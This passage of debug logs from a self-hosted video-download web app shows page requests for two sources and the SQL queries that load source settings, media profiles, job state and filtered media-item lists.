s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.812 [debug] QUERY OK source="media_items" db=1.2ms idle=7.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:53:44.815 [debug] QUERY OK source="media_items" db=1.9ms idle=7.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.817 [debug] QUERY OK source="sources" db=0.4ms idle=10.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.818 [debug] QUERY OK source="media_items" db=0.4ms idle=10.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:53:44.819 [debug] QUERY OK source="media_items" db=1.0ms idle=7.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.820 [debug] QUERY OK source="sources" db=0.2ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.823 [debug] QUERY OK source="media_items" db=2.0ms idle=6.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:53:44.825 [debug] QUERY OK source="media_items" db=1.6ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.827 [info] Sent 200 in 28ms 04:53:44.899 [info] GET /sources/31/ 04:53:44.899 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:53:44.900 [debug] QUERY OK source="sources" db=0.4ms idle=80.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.901 [debug] QUERY OK source="media_profiles" db=0.2ms idle=80.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:44.902 [debug] QUERY OK source="tasks" db=0.5ms idle=78.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [31, "executing", "available", "scheduled", "retryable"] 04:53:44.903 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=77.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7287] 04:53:44.904 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=63.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.905 [debug] QUERY OK source="settings" db=0.3ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.907 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.912 [debug] QUERY OK source="sources" db=0.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.915 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=9.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 04:53:44.919 [debug] QUERY OK source="media_items" db=3.2ms idle=11.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.922 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=16.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.924 [debug] QUERY OK source="media_items" db=0.6ms idle=16.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 04:53:44.927 [debug] QUERY OK source="media_items" db=2.4ms idle=12.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.930 [debug] QUERY OK source="sources" db=0.5ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.933 [debug] QUERY OK source="media_items" db=2.3ms idle=11.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [31] 04:53:44.937 [debug] QUERY OK source="media_items" db=3.2ms idle=11.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [31, 10, 0] 04:53:44.941 [info] Sent 200 in 42ms 04:53:44.946 [info] GET /sources/31/edit 04:53:44.946 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "31"} Pipelines: [:browser] 04:53:44.947 [debug] QUERY OK source="sources" db=0.6ms idle=23.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:44.948 [debug] QUERY OK source="media_profiles" db=0.5ms idle=21.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:44.949 [debug] QUERY OK source="settings" db=0.3ms idle=19.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.950 [debug] QUERY OK source="settings" db=0.3ms idle=16.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.951 [debug] QUERY OK source="settings" db=0.2ms idle=14.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.958 [info] GET /sources/35 04:53:44.959 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 04:53:44.959 [info] Sent 200 in 13ms 04:53:44.960 [debug] QUERY OK source="sources" db=0.5ms idle=11.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:44.961 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=11.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:53:44.962 [debug] QUERY OK source="tasks" db=0.4ms idle=12.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [35, "executing", "available", "scheduled", "retryable"] 04:53:44.963 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=12.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7277] 04:53:44.964 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=12.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.965 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.966 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:44.971 [debug] QUERY OK source="sources" db=0.5ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:44.973 [debug] QUERY OK source="media_items" db=0.7ms idle=8.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 04:53:44.975 [debug] QUERY OK source="media_items" db=1.6ms queue=0.1ms idle=9.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [35, 10, 0] 04:53:44.977 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=11.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 04:53:44.978 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=10.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 04:53:44.979 [debug] QUERY OK source="media_items" db=0.7ms idle=7.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" 